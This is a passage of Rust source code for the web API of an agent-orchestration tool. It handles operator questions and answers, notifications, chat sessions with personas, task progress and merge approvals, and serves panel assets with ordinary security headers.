if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
return Ok(id.to_owned());
}
pick(run_ids(runs), id, "run")
}
fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
if plain_record_id(id) && queue.path_of(id).is_file() {
return Ok(id.to_owned());
}
let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
pick(ids, id, "task")
}
#[derive(Debug, Serialize)]
struct QuestionView {
choice_effects: std::collections::BTreeMap<String, String>,
record_revision: String,
#[serde(flatten)]
question: Question,
detail_md: Vec<md::Node>,
posting_view: Option<PostingView>,
thread_bodies_md: Vec<Vec<md::Node>>,
thread_notes_md: Vec<Option<Vec<md::Node>>>,
waiting_on_agent: bool,
holder: Option<&'static str>,
deputies_enabled: bool,
deputy_exhausted: bool,
text_delivery: crate::question_delivery::Availability,
run_is_task: bool,
origin_chat: Option<String>,
origin_chat_closed: bool,
can_consult_chat: bool,
}
#[derive(Debug, Serialize)]
struct PostingView {
before_md: Vec<md::Node>,
after_md: Vec<md::Node>,
fields: Vec<crate::github_text::ComparisonView>,
}
fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
let comparison = question.posting_comparison.as_ref()?;
if !comparison.matches_detail(&question.detail) {
return None;
}
let mut ids = std::collections::BTreeSet::new();
if comparison.fields.is_empty()
|| comparison
.fields
.iter()
.flat_map(|f| &f.pairs)
.any(|p| !ids.insert(p.id))
|| comparison
.fields
.iter()
.flat_map(|f| &f.original_triggers)
.any(|t| !ids.insert(t.id))
{
return None;
}
let fields = comparison
.fields
.iter()
.map(|f| f.view(comparison.excerpt))
.collect::<Option<Vec<_>>>()?;
Some(PostingView {
before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
fields,
})
}
impl QuestionView {
fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
let base = md::ImageBase::QuestionPanel {
id: question.id.clone(),
};
let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
Self {
choice_effects: question
.choices
.iter()
.filter_map(|c| {
crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
})
.collect(),
record_revision: question_record_revision(&question),
detail_md: md::to_nodes(&question.detail, &base),
posting_view: posting_view(&question, &base),
thread_bodies_md: question
.thread
.iter()
.map(|t| md::to_nodes(&t.body, &base))
.collect(),
thread_notes_md: question
.thread
.iter()
.map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
.collect(),
deputy_exhausted: store.deputy_exhausted(&question),
waiting_on_agent: question.waiting_on_agent(),
holder,
deputies_enabled: deputies_enabled(cfg, &question),
text_delivery: crate::question_delivery::availability(store, &question, cfg),
run_is_task: question.run_names_task(),
origin_chat: None,
origin_chat_closed: false,
can_consult_chat: false,
question,
}
}
fn with_origin(
mut self,
tasks: &[crate::queue::Task],
talks: &[Talk],
watches: &[crate::release_watch::WatchState],
) -> Self {
let consult = crate::consult::origin_talk(tasks, talks, &self.question);
self.can_consult_chat = consult.is_some();
let talk =
crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
self.origin_chat = talk.map(|t| t.id);
self
}
}
fn deputy_config(repo: &std::path::Path) -> Option<Config> {
Config::discover(repo, None).ok().map(|(c, _)| c)
}
fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
}
fn question_views(
qs: Vec<Question>,
store: &ask::Questions,
load: impl FnOnce() -> Option<Config>,
) -> Vec<QuestionView> {
if qs.is_empty() {
return Vec::new();
}
let cfg = load();
qs.into_iter()
.map(|q| QuestionView::of(q, store, cfg.as_ref()))
.collect()
}
fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
if !q.status.open() {
return None;
}
if q.cwd.is_none()
&& q.deputy.is_none()
&& lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
{
return crate::deputy::kind_of(q).map(|_| "nobody");
}
Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
Some(_) if q.deputy.is_some() => "deputy",
Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
Some(_) => "asker",
None => "nobody",
})
}
async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
blocking(move || {
let questions = ui.questions.list();
let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
Ok(Json(
question_views(questions, &ui.questions, || deputy_config(&ui.repo))
.into_iter()
.map(|view| view.with_origin(&tasks, &talks, &watches))
.collect(),
))
})
.await
}
async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
blocking(move || {
Ok(Json(question_views(
ui.questions.list(),
&ui.questions,
|| deputy_config(&ui.repo),
)))
})
.await
}
fn question_record_revision(question: &Question) -> String {
use std::hash::{Hash as _, Hasher as _};
let mut hash = std::hash::DefaultHasher::new();
serde_json::to_vec(question)
.expect("serializable question")
.hash(&mut hash);
format!("{:016x}", hash.finish())
}
#[derive(Serialize)]
struct QuestionOriginView {
id: String,
record_revision: String,
origin_chat: Option<String>,
origin_chat_closed: bool,
can_consult_chat: bool,
}
async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
blocking(move || {
let questions = ui.questions.list();
let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
Ok(Json(
questions
.into_iter()
.map(|question| {
let consult = crate::consult::origin_talk(&tasks, &talks, &question);
let can_consult_chat = consult.is_some();
let talk = crate::consult::associated_talk_with_watches(
&tasks, &talks, &question, &watches,
);
QuestionOriginView {
record_revision: question_record_revision(&question),
id: question.id,
origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
origin_chat: talk.map(|talk| talk.id),
can_consult_chat,
}
})
.collect(),
))
})
.await
}
type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
fn task_for_run(
ui: &Ui,
index: &mut Option<Vec<Arc<TaskRelation>>>,
run: &str,
loaded: &HashMap<String, Task>,
) -> ApiResult<Option<Task>> {
if !plain_record_id(run) {
return Ok(None);
}
if index.is_none() {
*index = Some(ui.indexed_tasks()?);
}
Ok(index
.as_ref()
.expect("loaded index")
.iter()
.find(|task| task.runs.iter().any(|id| id == run))
.and_then(|task| {
loaded
.get(&task.id)
.cloned()
.or_else(|| ui.queue.get(&task.id).ok())
})
.filter(|task| task.runs.iter().any(|id| id == run)))
}
let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
plain_record_id(id)
.then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
.flatten()
.filter(|task| task.id == id)
};
let watches = crate::release_watch::states_for_questions(&ui.home, questions);
let mut index = None;
let mut tasks = HashMap::new();
let mut talks = HashMap::new();
for question in questions {
for reference in crate::consult::question_task_refs(question, &watches) {
let mut current = match reference {
crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
crate::consult::QuestionTaskRef::Run(id) => {
task_for_run(ui, &mut index, id, &tasks)?
}
};
let mut seen = HashSet::new();
for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
let Some(task) = current.take() else {
break;
};
if !seen.insert(task.id.clone()) {
break;
}
let chat = task.chat_talk().map(str::to_owned);
let followup = task.followup.clone();
tasks.insert(task.id.clone(), task);
if let Some(chat) = chat {
if plain_record_id(&chat)
&& !talks.contains_key(&chat)
&& let Ok(talk) = ui.talks.get(&chat)
{
talks.insert(chat, talk);
}
break;
}
let Some(followup) = followup else {
break;
};
current = match followup.origin_task {
Some(id) => direct_task(&id, &tasks),
None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
};
}
}
}
let mut tasks: Vec<Task> = tasks.into_values().collect();
tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
Ok((tasks, talks.into_values().collect(), watches))
}
async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
blocking(move || {
let items = ui.notices.list();
let unread = items.iter().filter(|n| n.unread()).count();
let items: Vec<_> = items
.into_iter()
.map(|n| {
let question = crate::notices::answerable_question(&n, &ui.questions);
let mut item = serde_json::to_value(n)?;
item["answerable_question"] = serde_json::json!(question);
Ok(item)
})
.collect::<anyhow::Result<_>>()?;
Ok(Json(
serde_json::json!({ "unread": unread, "items": items }),
))
})
.await
}
fn notice_error(e: anyhow::Error) -> ApiError {
ApiError::not_found(format!("{e:#}"))
}
async fn notification_read(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
) -> ApiResult<Json<Notice>> {
blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
}
async fn notification_dismiss(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
) -> ApiResult<Json<Notice>> {
blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
}
async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
blocking(move || {
let changed = ui.notices.mark_all_read()?;
Ok(Json(serde_json::json!({ "marked": changed })))
})
.await
}
#[derive(Debug, Default, Deserialize)]
#[serde(default, deny_unknown_fields)]
struct NewAnswer {
choice: Option<String>,
text: Option<String>,
talk: Option<String>,
head: Option<String>,
}
async fn question_answer(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
) -> ApiResult<Json<QuestionView>> {
let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
let answer = match (body.choice, body.text) {
(Some(c), None) => Answer::Choice(c),
(None, Some(t)) => Answer::Text(t),
(Some(_), Some(_)) => {
return Err(ApiError::bad_request(
"send either `choice` or `text`, not both",
));
}
(None, None) => {
return Err(ApiError::bad_request("send a `choice` or a `text`"));
}
};
blocking(move || {
let id = resolve_question(&ui.questions, &id)?;
let q = ui
.questions
.get(&id)
.map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
if !q.status.open() {
return Err(ApiError::conflict(format!(
"question {} is already {}",
q.short(),
q.status.as_str()
)));
}
let cfg = deputy_config(&ui.repo);
let (q, ()) = ui
.questions
.update(&q.id, |r| {
let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
if r.routed_task.is_some()
&& r.merge_target.is_some()
&& merge
&& (body.talk.is_some() || body.head.is_some())
{
let talk_id = body
.talk
.as_deref()
.context("approval button requires its chat")?;
let head = body
.head
.as_deref()
.context("approval button requires the displayed head")?;
let talk = ui.talks.get(talk_id)?;
anyhow::ensure!(talk.status.open(), "approval chat is closed");
r.answer_chat_button(answer, talk_id, head)
} else {
r.answer(answer)
}
})
.map_err(ApiError::bad_request_from)?;
let (tasks, talks, watches) =
question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
Ok(Json(
QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
))
})
.await
}
fn question_text_error(e: anyhow::Error) -> ApiError {
let reason = e
.downcast_ref::<crate::question_delivery::TextUnavailable>()
.map(|e| e.reason);
let error = ApiError::bad_request_from(e);
if let Some(reason) = reason {
ApiError {
text_reason: Some(reason),
..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
}
} else {
error
}
}
#[derive(Debug, Deserialize)]
#[serde(deny_unknown_fields)]
struct NewSay {
body: String,
}
async fn question_say(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
body: std::result::Result<Json<NewSay>, JsonRejection>,
) -> ApiResult<Json<QuestionView>> {
let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
blocking(move || {
let id = resolve_question(&ui.questions, &id)?;
let q = ui
.questions
.get(&id)
.map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
if !q.status.open() {
return Err(ApiError::conflict(format!(
"question {} is already {}",
q.short(),
q.status.as_str()
)));
}
let cfg = deputy_config(&ui.repo);
let (q, ()) = ui
.questions
.update(&q.id, |r| {
if body.body.trim().is_empty() {
return r.say(body.body);
}
crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
r.say(body.body)
})
.map_err(question_text_error)?;
let (tasks, talks, watches) =
question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
Ok(Json(
QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
))
})
.await
}
async fn admitted<T: Send + 'static>(
admission: AdmissionGuard,
work: impl Future<Output = ApiResult<T>> + Send + 'static,
) -> ApiResult<T> {
tokio::spawn(async move {
let result = work.await;
drop(admission);
result
})
.await
.map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
}
async fn question_consult(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
) -> ApiResult<(StatusCode, Json<QuestionView>)> {
let admission = ui.begin_admission()?;
admitted(admission, async move {
let (q, tasks, talks, watches, talk, cfg) = blocking({
let ui = Arc::clone(&ui);
move || {
let id = resolve_question(&ui.questions, &id)?;
let q = ui.questions.get(&id).map_err(|e| {
ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
})?;
if !q.status.open() {
return Err(ApiError::conflict(format!(
"question {} is already {}",
q.short(),
q.status.as_str()
)));
}
let (tasks, talks, watches) =
question_origin_inputs(&ui, std::slice::from_ref(&q))?;
let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
return Err(ApiError::conflict(format!(
"question {} has no chat to ask",
q.short()
)));
};
let cfg = if q.consult.is_none() {
Some(Config::discover(&talk.repo, None)?.0)
} else {
None
};
Ok((q, tasks, talks, watches, talk, cfg))
}
})
.await?;
let _publication = crate::consult::publication_guard(&ui.talks, &talk.id)
.await
.map_err(ApiError::from)?;
let (view, reclaimed, submitted) = blocking({
let ui = Arc::clone(&ui);
move || {
let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
let claim = if fresh {
match ui.begin_queued_talk_turn(&talk.id)? {
Some(turn_guard) => {
let talk = ui.talks.get(&talk.id)?;
let cfg = match cfg {
Some(cfg) => cfg,
None => Config::discover(&talk.repo, None)?.0,
};
Some((talk, cfg, turn_guard))
}
None => None,
}
} else {
None
};
let q = ui.questions.get(&q.id)?;
let cfg = deputy_config(&ui.repo);
let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
.with_origin(&tasks, &talks, &watches);
Ok((view, claim, fresh.then_some(talk.id)))
}
})
.await?;
#[cfg(not(test))]
{
if let Some(id) = submitted {
crate::consult::spawn_turn(&ui.talks, &id)
.await
.map_err(ApiError::from)?;
}
drop(reclaimed);
}
#[cfg(test)]
let _ = submitted;
#[cfg(test)]
if let Some((talk, cfg, turn_guard)) = reclaimed {
let talks = ui.talks.clone();
let id = talk.id.clone();
tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
}
Ok((StatusCode::ACCEPTED, Json(view)))
})
.await
}
fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
if plain_record_id(id) && store.path_of(id).is_file() {
return Ok(id.to_owned());
}
pick(
store.list().into_iter().map(|q| q.id).collect(),
id,
"question",
)
}
async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
blocking(move || {
let id = resolve_question(&ui.questions, &id)?;
let Some(html) = ui.questions.panel_html(&id) else {
return Err(ApiError::not_found(format!("question {id} has no panel")));
};
Ok(panel_response(
"text/html; charset=utf-8",
false,
html.into_bytes(),
))
})
.await
}
async fn question_asset(
State(ui): State<Arc<Ui>>,
Path((id, name)): Path<(String, String)>,
) -> ApiResult<Response> {
if !crate::ask::valid_asset_name(&name) {
return Err(ApiError::bad_request(format!(
"`{name}` is not a usable asset name"
)));
}
blocking(move || {
let id = resolve_question(&ui.questions, &id)?;
let asset = ui
.questions
.panel_asset(&id, &name)
.map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
let Some(bytes) = asset else {
return Err(ApiError::not_found(format!(
"question {id} has no asset `{name}`"
)));
};
Ok(panel_response(
asset_content_type(&name),
is_svg(&name),
bytes,
))
})
.await
}
fn asset_content_type(name: &str) -> &'static str {
match extension(name).as_deref() {
Some("png") => "image/png",
Some("jpg" | "jpeg") => "image/jpeg",
Some("gif") => "image/gif",
Some("webp") => "image/webp",
Some("svg") => "image/svg+xml",
Some("css") => "text/css; charset=utf-8",
Some("txt") => "text/plain; charset=utf-8",
_ => "application/octet-stream",
}
}
fn is_svg(name: &str) -> bool {
extension(name).as_deref() == Some("svg")
}
fn extension(name: &str) -> Option<String> {
name.rsplit_once('.')
.map(|(_, ext)| ext.to_ascii_lowercase())
}
fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
let mut res = (
[
(header::CONTENT_TYPE, content_type),
(header::CONTENT_SECURITY_POLICY, PANEL_CSP),
(header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
(header::REFERRER_POLICY, "no-referrer"),
],
body,
)
.into_response();
if download {
res.headers_mut().insert(
header::CONTENT_DISPOSITION,
HeaderValue::from_static("attachment"),
);
}
res
}
#[derive(Debug, Serialize)]
struct ChatApproval {
question: String,
target: crate::merge_decision::Target,
}
#[derive(Debug, Serialize)]
struct TalkView {
#[serde(flatten)]
talk: Talk,
turn_bodies_md: Vec<Vec<md::Node>>,
turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
pending_messages_md: Vec<Option<Vec<md::Node>>>,
merge_approvals: Vec<ChatApproval>,
thinking: bool,
context: talk::ContextUsage,
operator_name: Option<String>,
persona_name: Option<String>,
persona_avatar: String,
operator_avatar: String,
magi_avatar: String,
}
impl TalkView {
fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
}
fn with_config(
talk: Talk,
thinking: bool,
cfg: Option<&Config>,
home: &FsPath,
cache: &id_links::IndexCache,
) -> Self {
let references = cache.for_talk(home, &talk);
Self::with_references(talk, thinking, cfg, home, &references)
}
fn with_references(
mut talk: Talk,
thinking: bool,
cfg: Option<&Config>,
home: &FsPath,
references: &id_links::IdIndex,
) -> Self {
let snapshot = talk.clone();
for (index, turn) in talk.turns.iter_mut().enumerate() {
let original = &snapshot.turns[index];
if turn.messages.is_empty() {
if let Some(display) = talk::notice_display(&snapshot, original, None) {
turn.messages.push(talk::Message {
sender: Some(talk::Sender::Magi),
body: original.body.clone(),
display: Some(display),
attachments: original.attachments.clone(),
reply: None,
});
}
} else {
for (i, message) in turn.messages.iter_mut().enumerate() {
message.display =
talk::notice_display(&snapshot, original, original.messages.get(i));
if message.display.is_some() {
message.sender = Some(talk::Sender::Magi);
}
}
}
}
for message in &mut talk.pending_messages {
if message.display.is_none()
&& (message.sender == Some(talk::Sender::Magi)
|| snapshot
.completion_notices
.iter()
.any(|r| r.notice == message.body))
{
message.display = crate::prompt::legacy_notice_display(&message.body);
if message.display.is_some() {
message.sender = Some(talk::Sender::Magi);
}
}
}
if talk.pending_messages.is_empty()
&& snapshot
.completion_notices
.iter()
.any(|r| r.notice == talk.pending)
&& let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
{
talk.pending_messages.push(talk::Message {
sender: Some(talk::Sender::Magi),
display: Some(display),
body: talk.pending.clone(),
attachments: talk.pending_attachments.clone(),
reply: None,
});
}
let excerpts: Vec<Vec<Option<String>>> = talk
.turns
.iter()
.map(|turn| {
turn.messages
.iter()
.map(|m| {
m.display
.as_ref()
.map(|d| d.facts.chars().take(240).collect())
})
.collect()
})
.collect();
for turn in &mut talk.turns {
let provenance = talk::sender(turn, None);
turn.sender = Some(provenance);
for message in &mut turn.messages {
message.sender = Some(message.sender.unwrap_or(provenance));
}
}
let senders: Vec<Vec<talk::Sender>> = talk
.turns
.iter()
.map(|turn| {
if turn.messages.is_empty() {
vec![talk::sender(turn, None)]
} else {
turn.messages
.iter()
.map(|m| talk::sender(turn, Some(m)))
.collect()
}
})
.collect();
for reply in talk
.turns
.iter_mut()
.flat_map(|t| t.messages.iter_mut())
.chain(talk.pending_messages.iter_mut())
.filter_map(|m| m.reply.as_mut())
{
if let Some(Some(excerpt)) = excerpts
.get(reply.target.turn)
.and_then(|ms| ms.get(reply.target.message))
{
reply.excerpt = excerpt.clone();
reply.sender = Some(talk::Sender::Magi);
}
if reply.sender.is_none() {
reply.sender = senders
.get(reply.target.turn)
.and_then(|messages| messages.get(reply.target.message))
.copied();
}
}
let context = talk::context_usage(&talk, cfg);
let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
.turns
.iter()
.map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
.collect();
let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
.turns
.iter()
.map(|turn| {
if turn.messages.is_empty() {
vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
} else {
turn.messages
.iter()
.map(|message| {
notice_markdown(
message.sender.unwrap_or(talk::Sender::Operator),
&message.body,
message.display.as_ref(),
)
})
.collect()
}
})
.collect();
let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
.pending_messages
.iter()
.map(|message| {
notice_markdown(
message.sender.unwrap_or(talk::Sender::Operator),
&message.body,
message.display.as_ref(),
)
})
.collect();
for nodes in &mut turn_bodies_md {
references.markdown(nodes);
}
for nodes in turn_messages_md
.iter_mut()
.flatten()
.chain(pending_messages_md.iter_mut())
.flatten()
{
references.markdown(nodes);
}
let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
let persona_name = persona::find(specs, &talk.persona)
.filter(|p| !p.is_default())
.map(|p| p.name);
let mut avatar_persona = persona::find(specs, &talk.persona)
.unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
if avatar_persona.id != talk.persona
&& read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
{
avatar_persona.id.clone_from(&talk.persona);
avatar_persona.icon = None;
}
let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
let approvals_store = ask::Questions::at(home.join("questions"));
let merge_approvals = talk
.notified
.iter()
.filter_map(|key| key.strip_prefix("question:"))
.filter_map(|id| approvals_store.get(id).ok())
.filter(|q| crate::task_chat::approval_offered(&talk, q))
.filter_map(|q| {
Some(ChatApproval {
question: q.id,
target: q.merge_target?,
})
})
.collect();
let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
Self {
turn_bodies_md,
turn_messages_md,
pending_messages_md,
merge_approvals,
thinking,
context,
operator_name,
persona_name,
persona_avatar,
magi_avatar: magi_icon_url(home),
operator_avatar: operator_icon_url(home),
talk,
}
}
}
fn notice_markdown(
sender: talk::Sender,
body: &str,
display: Option<&crate::prompt::NoticeDisplay>,
) -> Option<Vec<md::Node>> {
if sender != talk::Sender::Magi {
return None;
}
let text = if let Some(display) = display {
display.facts.as_str()
} else {
if crate::prompt::is_completion_notice(body)
|| body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
{
return None;
}
body.strip_prefix("magi: ").unwrap_or(body)
};
Some(md::to_nodes(text, &md::ImageBase::None))
}
#[derive(Debug, Serialize)]
struct TalkDetailView {
#[serde(flatten)]
view: TalkView,
tasks: Vec<TaskView>,
task_progress: TalkTaskProgress,
roster: Vec<RosterEntry>,
personas: Vec<PersonaEntry>,
}
#[derive(Debug, Serialize)]
struct TalkTaskProgress {
state: &'static str,
total: usize,
done: usize,
counts: std::collections::BTreeMap<&'static str, usize>,
unfinished_ids: Vec<String>,
}
fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
let mut counts = std::collections::BTreeMap::from([
("queued", 0),
("running", 0),
("done", 0),
("failed", 0),
("held", 0),
("blocked", 0),
("parked", 0),
]);
let mut unfinished_ids = Vec::new();
for task in tasks {
*counts.entry(task.status.as_str()).or_default() += 1;
if task.status != TaskStatus::Done {
unfinished_ids.push(task.id.clone());
}
}
TalkTaskProgress {
state: if tasks.is_empty() {
"none"
} else if unfinished_ids.is_empty() {
"complete"
} else {
"incomplete"
},
total: tasks.len(),
done: tasks.len() - unfinished_ids.len(),
counts,
unfinished_ids,
}
}
#[derive(Debug, Serialize)]
struct PersonaEntry {
id: String,
name: String,
avatar: String,
}
#[derive(Debug, Serialize)]
struct RosterEntry {
id: String,
kind: AgentKind,
runnable: bool,
}
async fn talks_list(
State(ui): State<Arc<Ui>>,
Query(q): Query<ListQuery>,
headers: header::HeaderMap,
) -> ApiResult<Json<Vec<TalkListView>>> {
bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
let limit = q.limit.unwrap_or(50).min(50);
let ids = if let Some(ids) = q.ids {
ids.split(',')
.filter(|id| plain_record_id(id))
.take(limit)
.map(str::to_owned)
.collect()
} else {
page_ids(&ui, true, PageQuery::default())?
.0
.into_iter()
.take(limit.min(STORE_PAGE_SIZE))
.collect()
};
Ok(Json(talk_rows(&ui, ids, &headers)))
})
.await
}
#[derive(Debug, Default, Deserialize)]
#[serde(default)]
struct NewTalk {
agent: Option<String>,
repo: Option<PathBuf>,
preferred_agent: Option<serde_json::Value>,
persona: Option<serde_json::Value>,
implementers: Option<serde_json::Value>,
}
async fn talk_post(
State(ui): State<Arc<Ui>>,
body: std::result::Result<Json<NewTalk>, JsonRejection>,
) -> ApiResult<impl IntoResponse> {
let body = match body {
Ok(Json(body)) => body,
Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
Err(e) => return Err(ApiError::bad_request(e.body_text())),
};
let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
let cfg = config_for(&repo).await?;
let view = blocking(move || {
let preferred = talk::Preferred {
agent: body
.preferred_agent
.as_ref()
.and_then(|v| v.as_str())
.map(str::to_owned),
persona: body
.persona
.as_ref()
.and_then(|v| v.as_str())
.map(str::to_owned),
implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
};
let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
let thinking = ui.is_thinking(&talk.id);
Ok(TalkView::new(talk, thinking, &ui))
})
.await?;
Ok((StatusCode::CREATED, Json(view)))
}
async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
let id = resolve_talk(&ui.talks, &id)?;
let talk = ui.talks.get(&id)?;
let thinking = ui.is_thinking_observed(&id);
Ok(Json(TalkView::with_references(
talk,
thinking,
None,
&ui.home,
&id_links::IdIndex::default(),
)))
})
.await
}
async fn talk_sections(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
) -> ApiResult<Json<serde_json::Value>> {
bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
let id = resolve_talk(&ui.talks, &id)?;
let talk = ui.talks.get(&id)?;
let tasks = ui.find_tasks_for_talk(&talk.id)?;
let task_progress = talk_task_progress(&tasks);
let tasks: Vec<_> = tasks
.into_iter()
.map(|task| {
serde_json::json!({
"id": task.id, "title": task.title, "status_str": task.status.as_str(),
})
})
.collect();
let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
let roster: Vec<_> = cfg
.as_ref()
.map(|cfg| {
cfg.agents
.iter()
.map(|a| RosterEntry {
id: a.id.clone(),
kind: a.kind,
runnable: agent::installed(a),
})
.collect()
})
.unwrap_or_default();
let specs = cfg
.as_ref()
.map(|cfg| cfg.talk.personas.clone())
.unwrap_or_default();
let personas: Vec<_> = persona::catalog(&specs)
.into_iter()
.map(|p| PersonaEntry {
avatar: avatar_url(&ui.home, &talk.id, &p),
id: p.id,
name: p.name,
})
.collect();
let active_persona = persona::find(&specs, &talk.persona)
.unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
Ok(Json(serde_json::json!({
"tasks": tasks, "task_progress": task_progress,
"roster": roster, "personas": personas,
"context": talk::context_usage(&talk, cfg.as_ref()),
"context_for": talk.updated_at,
"operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
"persona_name": persona_name,
"persona_avatar": persona_avatar,
})))
})
.await
}
async fn talk_detail(
State(ui): State<Arc<Ui>>,
Path(id): Path<String>,
) -> ApiResult<Json<TalkDetailView>> {
blocking(move || {
let id = resolve_talk(&ui.talks, &id)?;
let talk = ui.talks.get(&id)?;
let thinking = ui.is_thinking_observed(&talk.id);
let tasks = ui.find_tasks_for_talk(&talk.id)?;
let task_progress = talk_task_progress(&tasks);
let tasks = tasks.into_iter().map(TaskView::from).collect();
let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
let roster = cfg
.as_ref()
.map(|cfg| {
cfg.agents
.iter()
.map(|a| RosterEntry {
id: a.id.clone(),
kind: a.kind,
runnable: agent::installed(a),
})
.collect()
})
.unwrap_or_default();
let specs = cfg
.as_ref()
.map(|cfg| cfg.talk.personas.clone())
.unwrap_or_default();
let personas = persona::catalog(&specs)
.into_iter()
.map(|p| PersonaEntry {
avatar: avatar_url(&ui.home, &talk.id, &p),
id: p.id,
name: p.name,
})
.collect();
Ok(Json(TalkDetailView {
view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
tasks,
task_progress,
roster,
personas,
}))
})
.await
}
#[derive(Debug, Default, Deserialize)]
#[serde(default, deny_unknown_fields)]
struct NewTalkTurn {
reply_to: Option<talk::ReplyTarget>,
text: String,
attachments: Vec<String>,
}
